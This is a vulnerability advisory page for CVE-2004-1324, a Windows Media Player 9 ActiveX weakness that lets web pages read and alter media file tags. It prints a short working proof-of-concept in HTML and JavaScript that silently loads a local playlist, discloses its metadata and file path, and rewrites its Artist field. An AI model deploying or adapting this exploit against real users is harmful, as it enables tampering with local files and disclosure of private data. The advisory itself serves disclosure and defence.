Windows Media Player ActiveX Control Media File Attribute Corruption Weakness

BID:12031

Info

Windows Media Player ActiveX Control Media File Attribute Corruption Weakness

Bugtraq ID: 12031
Class: Access Validation Error
CVE: CVE-2004-1324
Remote: Yes
Local: No
Published: Dec 18 2004 12:00AM
Updated: Jul 12 2009 09:26AM
Credit: Discovery is credited to Arman Nayyeri.
Vulnerable: Microsoft Windows Media Player 9.0
+ Microsoft Windows Server 2003 Datacenter Edition
+ Microsoft Windows Server 2003 Datacenter Edition
+ Microsoft Windows Server 2003 Datacenter Edition Itanium 0
+ Microsoft Windows Server 2003 Datacenter Edition Itanium 0
+ Microsoft Windows Server 2003 Enterprise Edition
+ Microsoft Windows Server 2003 Enterprise Edition
+ Microsoft Windows Server 2003 Enterprise Edition Itanium 0
+ Microsoft Windows Server 2003 Enterprise Edition Itanium 0
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows Server 2003 Standard Edition
+ Microsoft Windows Server 2003 Web Edition
+ Microsoft Windows Server 2003 Web Edition
Not Vulnerable: Microsoft Windows Media Player 10.0

Discussion

Windows Media Player ActiveX Control Media File Attribute Corruption Weakness

The Windows Media Player ActiveX control is prone to a security weakness. The issue is that the control may be abused by a Web page to change attributes of media files (such as MP3). An attacker can influence attributes such as the artist, song name, or album name.

It is possible to exploit this weakness to inject malicious script code into these attributes. If this issue was combined with a vulnerability that could force Internet Explorer to interpret the injected script code, it may be possible to execute malicious script code in the Local Zone. Such an attack would lead to execution of arbitrary code on computers that do not have this Zone locked down.

This issue is reported to affect Windows Media Player 9. It reportedly does not work on computers running Windows XP SP2 when the attack is executed from a remote source. This is likely due to additional browser security measures in Windows XP SP2.

Exploit / POC

Windows Media Player ActiveX Control Media File Attribute Corruption Weakness

The following exploit was released:

<object style="display:none;"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"
id="WindowsMediaPlayer">
<param name="autoStart" value="1">
<param name="url" value="file://c:\program files\winamp\winamp.m3u">
<param name="mute" value="1">
</object>

<script>

note = 'Look at yourself and find the mortality of your body';

setTimeout(
function(){
if (WindowsMediaPlayer.currentMedia.sourceURL!='c:\\program files\\winamp\\winamp.m3u')
{
artist = WindowsMediaPlayer.currentMedia.getItemInfo("Artist");
title = WindowsMediaPlayer.currentMedia.getItemInfo("Title");
album = WindowsMediaPlayer.currentMedia.getItemInfo("Album");
texxt = "";
if (artist!=note)
{
if (artist!="")
texxt='I like '+artist+'!\n';
if (title!="")
texxt=texxt+'I think '+title+' is the best song';
if ((title!="")&&(album!=""))
texxt=texxt+' from ';
if (album!="")
texxt=texxt+'My favorite album "'+album+'".\n';
else
texxt=texxt+'.\n';
texxt=texxt+'I have it on my computer ('+WindowsMediaPlayer.currentMedia.sourceURL+'), I guess you have it too! ;)';
alert(texxt);
}
WindowsMediaPlayer.currentMedia.setItemInfo("Artist",note);
alert('done!\nplay '+WindowsMediaPlayer.currentMedia.sourceURL+' by a player and take a look at artist name, it must be changed!');
WindowsMediaPlayer.controls.stop();
WindowsMediaPlayer.controls.play();
}
else
alert('Can\'t find winamp default playlist!\nMost probably the winamp is not installed in c:\\program files\\winamp directory.');
}
,2000);
</script>


</body></html>

Solution / Fix

Windows Media Player ActiveX Control Media File Attribute Corruption Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Windows Media Player ActiveX Control Media File Attribute Corruption Weakness

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report